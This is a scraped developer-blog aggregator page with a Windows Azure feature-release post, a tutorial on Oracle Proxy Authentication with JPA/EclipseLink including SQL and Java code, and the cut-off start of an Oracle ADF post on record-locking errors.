__NSFireDelayedPerform () #13 0x00d8cfe3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ () #14 0x00d8e594 in __CFRunLoopDoTimer () #15 0x00ceacc9 in __CFRunLoopRun () #16 0x00cea240 in CFRunLoopRunSpecific () #17 0x00cea161 in CFRunLoopRunInMode () #18 0x016e0268 in GSEventRunModal () #19 0x016e032d in GSEventRun () #20 0x002c342e in UIApplicationMain () #21 0x00001c08 in main (argc=1, argv=0xbfffef58) at /Users/claudiocanino/Documents/iOS/CottoMangiato/main.m:15 Thanks

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• Windows Azure: Import/Export Hard Drives, VM ACLs, Web Sockets, Remote Debugging, Continuous Delivery, New Relic, Billing Alerts and More

  - by ScottGu

  Two weeks ago we released a giant set of improvements to Windows Azure, as well as a significant update of the Windows Azure SDK. This morning we released another massive set of enhancements to Windows Azure.  Today’s new capabilities include: Storage: Import/Export Hard Disk Drives to your Storage Accounts HDInsight: General Availability of our Hadoop Service in the cloud Virtual Machines: New VM Gallery, ACL support for VIPs Web Sites: WebSocket and Remote Debugging Support Notification Hubs: Segmented customer push notification support with tag expressions TFS & GIT: Continuous Delivery Support for Web Sites + Cloud Services Developer Analytics: New Relic support for Web Sites + Mobile Services Service Bus: Support for partitioned queues and topics Billing: New Billing Alert Service that sends emails notifications when your bill hits a threshold you define All of these improvements are now available to use immediately (note that some features are still in preview).  Below are more details about them. Storage: Import/Export Hard Disk Drives to Windows Azure I am excited to announce the preview of our new Windows Azure Import/Export Service! The Windows Azure Import/Export Service enables you to move large amounts of on-premises data into and out of your Windows Azure Storage accounts. It does this by enabling you to securely ship hard disk drives directly to our Windows Azure data centers. Once we receive the drives we’ll automatically transfer the data to or from your Windows Azure Storage account.  This enables you to import or export massive amounts of data more quickly and cost effectively (and not be constrained by available network bandwidth). Encrypted Transport Our Import/Export service provides built-in support for BitLocker disk encryption – which enables you to securely encrypt data on the hard drives before you send it, and not have to worry about it being compromised even if the disk is lost/stolen in transit (since the content on the transported hard drives is completely encrypted and you are the only one who has the key to it).  The drive preparation tool we are shipping today makes setting up bitlocker encryption on these hard drives easy. How to Import/Export your first Hard Drive of Data You can read our Getting Started Guide to learn more about how to begin using the import/export service.  You can create import and export jobs via the Windows Azure Management Portal as well as programmatically using our Server Management APIs. It is really easy to create a new import or export job using the Windows Azure Management Portal.  Simply navigate to a Windows Azure storage account, and then click the new Import/Export tab now available within it (note: if you don’t have this tab make sure to sign-up for the Import/Export preview): Then click the “Create Import Job” or “Create Export Job” commands at the bottom of it.  This will launch a wizard that easily walks you through the steps required: For more comprehensive information about Import/Export, refer to Windows Azure Storage team blog.  You can also send questions and comments to the [email protected] email address. We think you’ll find this new service makes it much easier to move data into and out of Windows Azure, and it will dramatically cut down the network bandwidth required when working on large data migration projects.  We hope you like it. HDInsight: 100% Compatible Hadoop Service in the Cloud Last week we announced the general availability release of Windows Azure HDInsight. HDInsight is a 100% compatible Hadoop service that allows you to easily provision and manage Hadoop clusters for big data processing in Windows Azure.  This release is now live in production, backed by an enterprise SLA, supported 24x7 by Microsoft Support, and is ready to use for production scenarios. HDInsight allows you to use Apache Hadoop tools, such as Pig and Hive, to process large amounts of data in Windows Azure Blob Storage. Because data is stored in Windows Azure Blob Storage, you can choose to dynamically create Hadoop clusters only when you need them, and then shut them down when they are no longer required (since you pay only for the time the Hadoop cluster instances are running this provides a super cost effective way to use them).  You can create Hadoop clusters using either the Windows Azure Management Portal (see below) or using our PowerShell and Cross Platform Command line tools: The import/export hard drive support that came out today is a perfect companion service to use with HDInsight – the combination allows you to easily ingest, process and optionally export a limitless amount of data.  We’ve also integrated HDInsight with our Business Intelligence tools, so users can leverage familiar tools like Excel in order to analyze the output of jobs.  You can find out more about how to get started with HDInsight here. Virtual Machines: VM Gallery Enhancements Today’s update of Windows Azure brings with it a new Virtual Machine gallery that you can use to create new VMs in the cloud.  You can launch the gallery by doing New->Compute->Virtual Machine->From Gallery within the Windows Azure Management Portal: The new Virtual Machine Gallery includes some nice enhancements that make it even easier to use: Search: You can now easily search and filter images using the search box in the top-right of the dialog.  For example, simply type “SQL” and we’ll filter to show those images in the gallery that contain that substring. Category Tree-view: Each month we add more built-in VM images to the gallery.  You can continue to browse these using the “All” view within the VM Gallery – or now quickly filter them using the category tree-view on the left-hand side of the dialog.  For example, by selecting “Oracle” in the tree-view you can now quickly filter to see the official Oracle supplied images. MSDN and Supported checkboxes: With today’s update we are also introducing filters that makes it easy to filter out types of images that you may not be interested in. The first checkbox is MSDN: using this filter you can exclude any image that is not part of the Windows Azure benefits for MSDN subscribers (which have highly discounted pricing - you can learn more about the MSDN pricing here). The second checkbox is Supported: this filter will exclude any image that contains prerelease software, so you can feel confident that the software you choose to deploy is fully supported by Windows Azure and our partners. Sort options: We sort gallery images by what we think customers are most interested in, but sometimes you might want to sort using different views. So we’re providing some additional sort options, like “Newest,” to customize the image list for what suits you best. Pricing information: We now provide additional pricing information about images and options on how to cost effectively run them directly within the VM Gallery. The above improvements make it even easier to use the VM Gallery and quickly create launch and run Virtual Machines in the cloud. Virtual Machines: ACL Support for VIPs A few months ago we exposed the ability to configure Access Control Lists (ACLs) for Virtual Machines using Windows PowerShell cmdlets and our Service Management API. With today’s release, you can now configure VM ACLs using the Windows Azure Management Portal as well. You can now do this by clicking the new Manage ACL command in the Endpoints tab of a virtual machine instance: This will enable you to configure an ordered list of permit and deny rules to scope the traffic that can access your VM’s network endpoints. For example, if you were on a virtual network, you could limit RDP access to a Windows Azure virtual machine to only a few computers attached to your enterprise. Or if you weren’t on a virtual network you could alternatively limit traffic from public IPs that can access your workloads: Here is the default behaviors for ACLs in Windows Azure: By default (i.e. no rules specified), all traffic is permitted. When using only Permit rules, all other traffic is denied. When using only Deny rules, all other traffic is permitted. When there is a combination of Permit and Deny rules, all other traffic is denied. Lastly, remember that configuring endpoints does not automatically configure them within the VM if it also has firewall rules enabled at the OS level.  So if you create an endpoint using the Windows Azure Management Portal, Windows PowerShell, or REST API, be sure to also configure your guest VM firewall appropriately as well. Web Sites: Web Sockets Support With today’s release you can now use Web Sockets with Windows Azure Web Sites.  This feature enables you to easily integrate real-time communication scenarios within your web based applications, and is available at no extra charge (it even works with the free tier).  Higher level programming libraries like SignalR and socket.io are also now supported with it. You can enable Web Sockets support on a web site by navigating to the Configure tab of a Web Site, and by toggling Web Sockets support to “on”: Once Web Sockets is enabled you can start to integrate some really cool scenarios into your web applications.  Check out the new SignalR documentation hub on www.asp.net to learn more about some of the awesome scenarios you can do with it. Web Sites: Remote Debugging Support The Windows Azure SDK 2.2 we released two weeks ago introduced remote debugging support for Windows Azure Cloud Services. With today’s Windows Azure release we are extending this remote debugging support to also work with Windows Azure Web Sites. With live, remote debugging support inside of Visual Studio, you are able to have more visibility than ever before into how your code is operating live in Windows Azure. It is now super easy to attach the debugger and quickly see what is going on with your application in the cloud. Remote Debugging of a Windows Azure Web Site using VS 2013 Enabling the remote debugging of a Windows Azure Web Site using VS 2013 is really easy.  Start by opening up your web application’s project within Visual Studio. Then navigate to the “Server Explorer” tab within Visual Studio, and click on the deployed web-site you want to debug that is running within Windows Azure using the Windows Azure->Web Sites node in the Server Explorer.  Then right-click and choose the “Attach Debugger” option on it: When you do this Visual Studio will remotely attach the debugger to the Web Site running within Windows Azure.  The debugger will then stop the web site’s execution when it hits any break points that you have set within your web application’s project inside Visual Studio.  For example, below I set a breakpoint on the “ViewBag.Message” assignment statement within the HomeController of the standard ASP.NET MVC project template.  When I hit refresh on the “About” page of the web site within the browser, the breakpoint was triggered and I am now able to debug the app remotely using Visual Studio: Note above how we can debug variables (including autos/watchlist/etc), as well as use the Immediate and Command Windows. In the debug session above I used the Immediate Window to explore some of the request object state, as well as to dynamically change the ViewBag.Message property.  When we click the the “Continue” button (or press F5) the app will continue execution and the Web Site will render the content back to the browser.  This makes it super easy to debug web apps remotely. Tips for Better Debugging To get the best experience while debugging, we recommend publishing your site using the Debug configuration within Visual Studio’s Web Publish dialog. This will ensure that debug symbol information is uploaded to the Web Site which will enable a richer debug experience within Visual Studio.  You can find this option on the Web Publish dialog on the Settings tab: When you ultimately deploy/run the application in production we recommend using the “Release” configuration setting – the release configuration is memory optimized and will provide the best production performance.  To learn more about diagnosing and debugging Windows Azure Web Sites read our new Troubleshooting Windows Azure Web Sites in Visual Studio guide. Notification Hubs: Segmented Push Notification support with tag expressions In August we announced the General Availability of Windows Azure Notification Hubs - a powerful Mobile Push Notifications service that makes it easy to send high volume push notifications with low latency from any mobile app back-end.  Notification hubs can be used with any mobile app back-end (including ones built using our Mobile Services capability) and can also be used with back-ends that run in the cloud as well as on-premises. Beginning with the initial release, Notification Hubs allowed developers to send personalized push notifications to both individual users as well as groups of users by interest, by associating their devices with tags representing the logical target of the notification. For example, by registering all devices of customers interested in a favorite MLB team with a corresponding tag, it is possible to broadcast one message to millions of Boston Red Sox fans and another message to millions of St. Louis Cardinals fans with a single API call respectively. New support for using tag expressions to enable advanced customer segmentation With today’s release we are adding support for even more advanced customer targeting.  You can now identify customers that you want to send push notifications to by defining rich tag expressions. With tag expressions, you can now not only broadcast notifications to Boston Red Sox fans, but take that segmenting a step farther and reach more granular segments. This opens up a variety of scenarios, for example: Offers based on multiple preferences—e.g. send a game day vegetarian special to users tagged as both a Boston Red Sox fan AND a vegetarian Push content to multiple segments in a single message—e.g. rain delay information only to users who are tagged as either a Boston Red Sox fan OR a St. Louis Cardinal fan Avoid presenting subsets of a segment with irrelevant content—e.g. season ticket availability reminder to users who are tagged as a Boston Red Sox fan but NOT also a season ticket holder To illustrate with code, consider a restaurant chain app that sends an offer related to a Red Sox vs Cardinals game for users in Boston. Devices can be tagged by your app with location tags (e.g. “Loc:Boston”) and interest tags (e.g. “Follows:RedSox”, “Follows:Cardinals”), and then a notification can be sent by your back-end to “(Follows:RedSox || Follows:Cardinals) && Loc:Boston” in order to deliver an offer to all devices in Boston that follow either the RedSox or the Cardinals. This can be done directly in your server backend send logic using the code below: var notification = new WindowsNotification(messagePayload); hub.SendNotificationAsync(notification, "(Follows:RedSox || Follows:Cardinals) && Loc:Boston"); In your expressions you can use all Boolean operators: AND (&&), OR (||), and NOT (!).  Some other cool use cases for tag expressions that are now supported include: Social: To “all my group except me” - group:id && !user:id Events: Touchdown event is sent to everybody following either team or any of the players involved in the action: Followteam:A || Followteam:B || followplayer:1 || followplayer:2 … Hours: Send notifications at specific times. E.g. Tag devices with time zone and when it is 12pm in Seattle send to: GMT8 && follows:thaifood Versions and platforms: Send a reminder to people still using your first version for Android - version:1.0 && platform:Android For help on getting started with Notification Hubs, visit the Notification Hub documentation center.  Then download the latest NuGet package (or use the Notification Hubs REST APIs directly) to start sending push notifications using tag expressions.  They are really powerful and enable a bunch of great new scenarios. TFS & GIT: Continuous Delivery Support for Web Sites + Cloud Services With today’s Windows Azure release we are making it really easy to enable continuous delivery support with Windows Azure and Team Foundation Services.  Team Foundation Services is a cloud based offering from Microsoft that provides integrated source control (with both TFS and Git support), build server, test execution, collaboration tools, and agile planning support.  It makes it really easy to setup a team project (complete with automated builds and test runners) in the cloud, and it has really rich integration with Visual Studio. With today’s Windows Azure release it is now really easy to enable continuous delivery support with both TFS and Git based repositories hosted using Team Foundation Services.  This enables a workflow where when code is checked in, built successfully on an automated build server, and all tests pass on it – I can automatically have the app deployed on Windows Azure with zero manual intervention or work required. The below screen-shots demonstrate how to quickly setup a continuous delivery workflow to Windows Azure with a Git-based ASP.NET MVC project hosted using Team Foundation Services. Enabling Continuous Delivery to Windows Azure with Team Foundation Services The project I’m going to enable continuous delivery with is a simple ASP.NET MVC project whose source code I’m hosting using Team Foundation Services.  I did this by creating a “SimpleContinuousDeploymentTest” repository there using Git – and then used the new built-in Git tooling support within Visual Studio 2013 to push the source code to it.  Below is a screen-shot of the Git repository hosted within Team Foundation Services: I can access the repository within Visual Studio 2013 and easily make commits with it (as well as branch, merge and do other tasks).  Using VS 2013 I can also setup automated builds to take place in the cloud using Team Foundation Services every time someone checks in code to the repository: The cool thing about this is that I don’t have to buy or rent my own build server – Team Foundation Services automatically maintains its own build server farm and can automatically queue up a build for me (for free) every time someone checks in code using the above settings.  This build server (and automated testing) support now works with both TFS and Git based source control repositories. Connecting a Team Foundation Services project to Windows Azure Once I have a source repository hosted in Team Foundation Services with Automated Builds and Testing set up, I can then go even further and set it up so that it will be automatically deployed to Windows Azure when a source code commit is made to the repository (assuming the Build + Tests pass).  Enabling this is now really easy.  To set this up with a Windows Azure Web Site simply use the New->Compute->Web Site->Custom Create command inside the Windows Azure Management Portal.  This will create a dialog like below.  I gave the web site a name and then made sure the “Publish from source control” checkbox was selected: When we click next we’ll be prompted for the location of the source repository.  We’ll select “Team Foundation Services”: Once we do this we’ll be prompted for our Team Foundation Services account that our source repository is hosted under (in this case my TFS account is “scottguthrie”): When we click the “Authorize Now” button we’ll be prompted to give Windows Azure permissions to connect to the Team Foundation Services account.  Once we do this we’ll be prompted to pick the source repository we want to connect to.  Starting with today’s Windows Azure release you can now connect to both TFS and Git based source repositories.  This new support allows me to connect to the “SimpleContinuousDeploymentTest” respository we created earlier: Clicking the finish button will then create the Web Site with the continuous delivery hooks setup with Team Foundation Services.  Now every time someone pushes source control to the repository in Team Foundation Services, it will kick off an automated build, run all of the unit tests in the solution , and if they pass the app will be automatically deployed to our Web Site in Windows Azure.  You can monitor the history and status of these automated deployments using the Deployments tab within the Web Site: This enables a really slick continuous delivery workflow, and enables you to build and deploy apps in a really nice way. Developer Analytics: New Relic support for Web Sites + Mobile Services With today’s Windows Azure release we are making it really easy to enable Developer Analytics and Monitoring support with both Windows Azure Web Site and Windows Azure Mobile Services.  We are partnering with New Relic, who provide a great dev analytics and app performance monitoring offering, to enable this - and we have updated the Windows Azure Management Portal to make it really easy to configure. Enabling New Relic with a Windows Azure Web Site Enabling New Relic support with a Windows Azure Web Site is now really easy.  Simply navigate to the Configure tab of a Web Site and scroll down to the “developer analytics” section that is now within it: Clicking the “add-on” button will display some additional UI.  If you don’t already have a New Relic subscription, you can click the “view windows azure store” button to obtain a subscription (note: New Relic has a perpetually free tier so you can enable it even without paying anything): Clicking the “view windows azure store” button will launch the integrated Windows Azure Store experience we have within the Windows Azure Management Portal.  You can use this to browse from a variety of great add-on services – including New Relic: Select “New Relic” within the dialog above, then click the next button, and you’ll be able to choose which type of New Relic subscription you wish to purchase.  For this demo we’ll simply select the “Free Standard Version” – which does not cost anything and can be used forever:  Once we’ve signed-up for our New Relic subscription and added it to our Windows Azure account, we can go back to the Web Site’s configuration tab and choose to use the New Relic add-on with our Windows Azure Web Site.  We can do this by simply selecting it from the “add-on” dropdown (it is automatically populated within it once we have a New Relic subscription in our account): Clicking the “Save” button will then cause the Windows Azure Management Portal to automatically populate all of the needed New Relic configuration settings to our Web Site: Deploying the New Relic Agent as part of a Web Site The final step to enable developer analytics using New Relic is to add the New Relic runtime agent to our web app.  We can do this within Visual Studio by right-clicking on our web project and selecting the “Manage NuGet Packages” context menu: This will bring up the NuGet package manager.  You can search for “New Relic” within it to find the New Relic agent.  Note that there is both a 32-bit and 64-bit edition of it – make sure to install the version that matches how your Web Site is running within Windows Azure (note: you can configure your Web Site to run in either 32-bit or 64-bit mode using the Web Site’s “Configuration” tab within the Windows Azure Management Portal): Once we install the NuGet package we are all set to go.  We’ll simply re-publish the web site again to Windows Azure and New Relic will now automatically start monitoring the application Monitoring a Web Site using New Relic Now that the application has developer analytics support with New Relic enabled, we can launch the New Relic monitoring portal to start monitoring the health of it.  We can do this by clicking on the “Add Ons” tab in the left-hand side of the Windows Azure Management Portal.  Then select the New Relic add-on we signed-up for within it.  The Windows Azure Management Portal will provide some default information about the add-on when we do this.  Clicking the “Manage” button in the tray at the bottom will launch a new browser tab and single-sign us into the New Relic monitoring portal associated with our account: When we do this a new browser tab will launch with the New Relic admin tool loaded within it: We can now see insights into how our app is performing – without having to have written a single line of monitoring code.  The New Relic service provides a ton of great built-in monitoring features allowing us to quickly see: Performance times (including browser rendering speed) for the overall site and individual pages.  You can optionally set alert thresholds to trigger if the speed does not meet a threshold you specify. Information about where in the world your customers are hitting the site from (and how performance varies by region) Details on the latency performance of external services your web apps are using (for example: SQL, Storage, Twitter, etc) Error information including call stack details for exceptions that have occurred at runtime SQL Server profiling information – including which queries executed against your database and what their performance was And a whole bunch more… The cool thing about New Relic is that you don’t need to write monitoring code within your application to get all of the above reports (plus a lot more).  The New Relic agent automatically enables the CLR profiler within applications and automatically captures the information necessary to identify these.  This makes it super easy to get started and immediately have a rich developer analytics view for your solutions with very little effort. If you haven’t tried New Relic out yet with Windows Azure I recommend you do so – I think you’ll find it helps you build even better cloud applications.  Following the above steps will help you get started and deliver you a really good application monitoring solution in only minutes. Service Bus: Support for partitioned queues and topics With today’s release, we are enabling support within Service Bus for partitioned queues and topics. Enabling partitioning enables you to achieve a higher message throughput and better availability from your queues and topics. Higher message throughput is achieved by implementing multiple message brokers for each partitioned queue and topic.  The  multiple messaging stores will also provide higher availability. You can create a partitioned queue or topic by simply checking the Enable Partitioning option in the custom create wizard for a Queue or Topic: Read this article to learn more about partitioned queues and topics and how to take advantage of them today. Billing: New Billing Alert Service Today’s Windows Azure update enables a new Billing Alert Service Preview that enables you to get proactive email notifications when your Windows Azure bill goes above a certain monetary threshold that you configure.  This makes it easier to manage your bill and avoid potential surprises at the end of the month. With the Billing Alert Service Preview, you can now create email alerts to monitor and manage your monetary credits or your current bill total.  To set up an alert first sign-up for the free Billing Alert Service Preview.  Then visit the account management page, click on a subscription you have setup, and then navigate to the new Alerts tab that is available: The alerts tab allows you to setup email alerts that will be sent automatically once a certain threshold is hit.  For example, by clicking the “add alert” button above I can setup a rule to send myself email anytime my Windows Azure bill goes above $100 for the month: The Billing Alert Service will evolve to support additional aspects of your bill as well as support multiple forms of alerts such as SMS.  Try out the new Billing Alert Service Preview today and give us feedback. Summary Today’s Windows Azure release enables a ton of great new scenarios, and makes building applications hosted in the cloud even easier. If you don’t already have a Windows Azure account, you can sign-up for a free trial and start using all of the above features today.  Then visit the Windows Azure Developer Center to learn more about how to build apps with it. Hope this helps, Scott P.S. In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu

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• Using Oracle Proxy Authentication with JPA (eclipselink-Style)

  - by olaf.heimburger

  Security is a very intriguing topic. You will find it everywhere and you need to implement it everywhere. Yes, you need. Unfortunately, one can easily forget it while implementing the last mile. The Last Mile In a multi-tier application it is a common practice to use connection pools between the business layer and the database layer. Connection pools are quite useful to speed database connection creation and to split the load. Another very common practice is to use a specific, often called technical, user to connect to the database. This user has authentication and authorization rules that apply to all application users. Imagine you've put every effort to define roles for different types of users that use your application. These roles are necessary to differentiate between normal users, premium users, and administrators (I bet you will find or already have more roles in your application). While these user roles are pretty well used within your application, once the flow of execution enters the database everything is gone. Each and every user just has one role and is the same database user. Issues? What Issues? As long as things go well, this is not a real issue. However, things do not go well all the time. Once your application becomes famous performance decreases in certain situations or, more importantly, current and upcoming regulations and laws require that your application must be able to apply different security measures on a per user role basis at every stage of your application. If you only have a bunch of users with the same name and role you are not able to find the application usage profile that causes the performance issue, or which user has accessed data that he/she is not allowed to. Another thread to your role concept is that databases tend to be used by different applications and tools. These tools can be developer tools like SQL*Plus, SQL Developer, etc. or end user applications like BI Publisher, Oracle Forms and so on. These tools have no idea of your applications role concept and access the database the way they think is appropriate. A big oversight for your perfect role model and a big nightmare for your Chief Security Officer. Speaking of the CSO, brings up another issue: Password management. Once your technical user account is compromised, every user is able to do things that he/she is not expected to do from the design of your application. Counter Measures In the Oracle world a common counter measure is to use Virtual Private Database (VPD). This restricts the values a database user can see to the allowed minimum. However, it doesn't help in regard of a connection pool user, because this one is still not the real user. Oracle Proxy Authentication Another feature of the Oracle database is Proxy Authentication. First introduced with version 9i it is a quite useful feature for nearly every situation. The main idea behind Proxy Authentication is, to create a crippled database user who has only connect rights. Even if this user is compromised the risks are well understood and fairly limited. This user can be used in every situation in which you need to connect to the database, no matter which tool or application (see above) you use.The proxy user is perfect for multi-tier connection pools. CREATE USER app_user IDENTIFIED BY abcd1234; GRANT CREATE SESSION TO app_user; But what if you need to access real data? Well, this is the primary use case, isn't it? Now is the time to bring the application's role concept into play. You define database roles that define the grants for your identified user groups. Once you have these groups you grant access through the proxy user with the application role to the specific user. CREATE ROLE app_role_a; GRANT app_role_a TO scott; ALTER USER scott GRANT CONNECT THROUGH app_user WITH ROLE app_role_a; Now, hr has permission to connect to the database through the proxy user. Through the role you can restrict the hr's rights the are needed for the application only. If hr connects to the database directly all assigned role and permissions apply. Testing the Setup To test the setup you can use SQL*Plus and connect to your database: $ sqlplus app_user[hr]/abcd1234 Java Persistence API The Java Persistence API (JPA) is a fairly easy means to build applications that retrieve data from the database and put it into Java objects. You use plain old Java objects (POJOs) and mixin some Java annotations that define how the attributes of the object are used for storing data from the database into the Java object. Here is a sample for objects from the HR sample schema EMPLOYEES table. When using Java annotations you only specify what can not be deduced from the code. If your Java class name is Employee but the table name is EMPLOYEES, you need to specify the table name, otherwise it will fail. package demo.proxy.ejb; import java.io.Serializable; import java.sql.Timestamp; import java.util.List; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.NamedQueries; import javax.persistence.NamedQuery; import javax.persistence.OneToMany; import javax.persistence.Table; @Entity @NamedQueries({ @NamedQuery(name = "Employee.findAll", query = "select o from Employee o") }) @Table(name = "EMPLOYEES") public class Employee implements Serializable { @Column(name="COMMISSION_PCT") private Double commissionPct; @Column(name="DEPARTMENT_ID") private Long departmentId; @Column(nullable = false, unique = true, length = 25) private String email; @Id @Column(name="EMPLOYEE_ID", nullable = false) private Long employeeId; @Column(name="FIRST_NAME", length = 20) private String firstName; @Column(name="HIRE_DATE", nullable = false) private Timestamp hireDate; @Column(name="JOB_ID", nullable = false, length = 10) private String jobId; @Column(name="LAST_NAME", nullable = false, length = 25) private String lastName; @Column(name="PHONE_NUMBER", length = 20) private String phoneNumber; private Double salary; @ManyToOne @JoinColumn(name = "MANAGER_ID") private Employee employee; @OneToMany(mappedBy = "employee") private List employeeList; public Employee() { } public Employee(Double commissionPct, Long departmentId, String email, Long employeeId, String firstName, Timestamp hireDate, String jobId, String lastName, Employee employee, String phoneNumber, Double salary) { this.commissionPct = commissionPct; this.departmentId = departmentId; this.email = email; this.employeeId = employeeId; this.firstName = firstName; this.hireDate = hireDate; this.jobId = jobId; this.lastName = lastName; this.employee = employee; this.phoneNumber = phoneNumber; this.salary = salary; } public Double getCommissionPct() { return commissionPct; } public void setCommissionPct(Double commissionPct) { this.commissionPct = commissionPct; } public Long getDepartmentId() { return departmentId; } public void setDepartmentId(Long departmentId) { this.departmentId = departmentId; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public Long getEmployeeId() { return employeeId; } public void setEmployeeId(Long employeeId) { this.employeeId = employeeId; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public Timestamp getHireDate() { return hireDate; } public void setHireDate(Timestamp hireDate) { this.hireDate = hireDate; } public String getJobId() { return jobId; } public void setJobId(String jobId) { this.jobId = jobId; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getPhoneNumber() { return phoneNumber; } public void setPhoneNumber(String phoneNumber) { this.phoneNumber = phoneNumber; } public Double getSalary() { return salary; } public void setSalary(Double salary) { this.salary = salary; } public Employee getEmployee() { return employee; } public void setEmployee(Employee employee) { this.employee = employee; } public List getEmployeeList() { return employeeList; } public void setEmployeeList(List employeeList) { this.employeeList = employeeList; } public Employee addEmployee(Employee employee) { getEmployeeList().add(employee); employee.setEmployee(this); return employee; } public Employee removeEmployee(Employee employee) { getEmployeeList().remove(employee); employee.setEmployee(null); return employee; } } JPA could be used in standalone applications and Java EE containers. In both worlds you normally create a Facade to retrieve or store the values of the Entities to or from the database. The Facade does this via an EntityManager which will be injected by the Java EE container. Here is sample Facade Session Bean for a Java EE container. package demo.proxy.ejb; import java.util.HashMap; import java.util.List; import javax.ejb.Local; import javax.ejb.Remote; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import javax.interceptor.AroundInvoke; import javax.interceptor.InvocationContext; import oracle.jdbc.driver.OracleConnection; import org.eclipse.persistence.config.EntityManagerProperties; import org.eclipse.persistence.internal.jpa.EntityManagerImpl; @Stateless(name = "DataFacade", mappedName = "ProxyUser-TestEJB-DataFacade") @Remote @Local public class DataFacadeBean implements DataFacade, DataFacadeLocal { @PersistenceContext(unitName = "TestEJB") private EntityManager em; private String username; public Object queryByRange(String jpqlStmt, int firstResult, int maxResults) { // setSessionUser(); Query query = em.createQuery(jpqlStmt); if (firstResult 0) { query = query.setFirstResult(firstResult); } if (maxResults 0) { query = query.setMaxResults(maxResults); } return query.getResultList(); } public Employee persistEmployee(Employee employee) { // setSessionUser(); em.persist(employee); return employee; } public Employee mergeEmployee(Employee employee) { // setSessionUser(); return em.merge(employee); } public void removeEmployee(Employee employee) { // setSessionUser(); employee = em.find(Employee.class, employee.getEmployeeId()); em.remove(employee); } /** select o from Employee o */ public List getEmployeeFindAll() { Query q = em.createNamedQuery("Employee.findAll"); return q.getResultList(); } Putting Both Together To use Proxy Authentication with JPA and within a Java EE container you have to take care of the additional requirements: Use an OCI JDBC driver Provide the user name that connects through the proxy user Use an OCI JDBC driver To use the OCI JDBC driver you need to set up your JDBC data source file to use the correct JDBC URL. hr jdbc:oracle:oci8:@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=localhost)(PORT=1521))(CONNECT_DATA=(SID=XE))) oracle.jdbc.OracleDriver user app_user 62C32F70E98297522AD97E15439FAC0E SQL SELECT 1 FROM DUAL jdbc/hrDS Application Additionally you need to make sure that the version of the shared libraries of the OCI driver match the version of the JDBC driver in your Java EE container or Java application and are within your PATH (on Windows) or LD_LIBRARY_PATH (on most Unix-based systems). Installing the Oracle Database Instance Client software works perfectly. Provide the user name that connects through the proxy user This part needs some modification of your application software and session facade. Session Facade Changes In the Session Facade we must ensure that every call that goes through the EntityManager must be prepared correctly and uniquely assigned to this session. The second is really important, as the EntityManager works with a connection pool and can not guarantee that we set the proxy user on the connection that will be used for the database activities. To avoid changing every method call of the Session Facade we provide a method to set the username of the user that connects through the proxy user. This method needs to be called by the Facade client bfore doing anything else. public void setUsername(String name) { username = name; } Next we provide a means to instruct the TopLink EntityManager Delegate to use Oracle Proxy Authentication. (I love small helper methods to hide the nitty-gritty details and avoid repeating myself.) private void setSessionUser() { setSessionUser(username); } private void setSessionUser(String user) { if (user != null && !user.isEmpty()) { EntityManagerImpl emDelegate = ((EntityManagerImpl)em.getDelegate()); emDelegate.setProperty(EntityManagerProperties.ORACLE_PROXY_TYPE, OracleConnection.PROXYTYPE_USER_NAME); emDelegate.setProperty(OracleConnection.PROXY_USER_NAME, user); emDelegate.setProperty(EntityManagerProperties.EXCLUSIVE_CONNECTION_MODE, "Always"); } } The final step is use the EJB 3.0 AroundInvoke interceptor. This interceptor will be called around every method invocation. We therefore check whether the Facade methods will be called or not. If so, we set the user for proxy authentication and the normal method flow continues. @AroundInvoke public Object proxyInterceptor(InvocationContext invocationCtx) throws Exception { if (invocationCtx.getTarget() instanceof DataFacadeBean) { setSessionUser(); } return invocationCtx.proceed(); } Benefits Using Oracle Proxy Authentification has a number of additional benefits appart from implementing the role model of your application: Fine grained access control for temporary users of the account, without compromising the original password. Enabling database auditing and logging. Better identification of performance bottlenecks. References Effective Oracle Database 10g Security by Design, David Knox TopLink Developer's Guide, Chapter 98

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• The case of the phantom ADF developer (and other yarns)

  - by Chris Muir

  A few years of ADF experience means I see common mistakes made by different developers, some I regularly make myself.  This post is designed to assist beginners to Oracle JDeveloper Application Development Framework (ADF) avoid a common ADF pitfall, the case of the phantom ADF developer [add Scooby-Doo music here]. ADF Business Components - triggers, default table values and instead of views. Oracle's JDeveloper tutorials help with the A-B-Cs of ADF development, typically built on the nice 'n safe demo schema provided by with the Oracle database such as the HR demo schema. However it's not too long until ADF beginners, having built up some confidence from learning with the tutorials and vanilla demo schemas, start building ADF Business Components based upon their own existing database schema objects.  This is where unexpected problems can sneak in. The crime Developers may encounter a surprising error at runtime when editing a record they just created or updated and committed to the database, based on their own existing tables, namely the error: JBO-25014: Another user has changed the row with primary key oracle.jbo.Key[x] ...where X is the primary key value of the row at hand.  In a production environment with multiple users this error may be legit, one of the other users has updated the row since you queried it.  Yet in a development environment this error is just plain confusing.  If developers are isolated in their own database, creating and editing records they know other users can't possibly be working with, or all the other developers have gone home for the day, how is this error possible? There are no other users?  It must be the phantom ADF developer! [insert dramatic music here] The following picture is what you'll see in the Business Component Browser, and you'll receive a similar error message via an ADF Faces page: A false conclusion What can possibly cause this issue if it isn't our phantom ADF developer?  Doesn't ADF BC implement record locking, locking database records when the row is modified in the ADF middle-tier by a user?  How can our phantom ADF developer even take out a lock if this is the case?  Maybe ADF has a bug, maybe ADF isn't implementing record locking at all?  Shouldn't we see the error "JBO-26030: Failed to lock the record, another user holds the lock" as we attempt to modify the record, why do we see JBO-25014? : Let's verify that ADF is in fact issuing the correct SQL LOCK-FOR-UPDATE statement to the database. First we need to verify ADF's locking strategy.  It is determined by the Application Module's jbo.locking.mode property.  The default (as of JDev 11.1.1.4.0 if memory serves me correct) and recommended value is optimistic, and the other valid value is pessimistic. Next we need a mechanism to check that ADF is issuing the LOCK statements to the database.  We could ask DBAs to monitor locks with OEM, but optimally we'd rather not involve overworked DBAs in this process, so instead we can use the ADF runtime setting –Djbo.debugoutput=console.  At runtime this options turns on instrumentation within the ADF BC layer, which among a lot of extra detail displayed in the log window, will show the actual 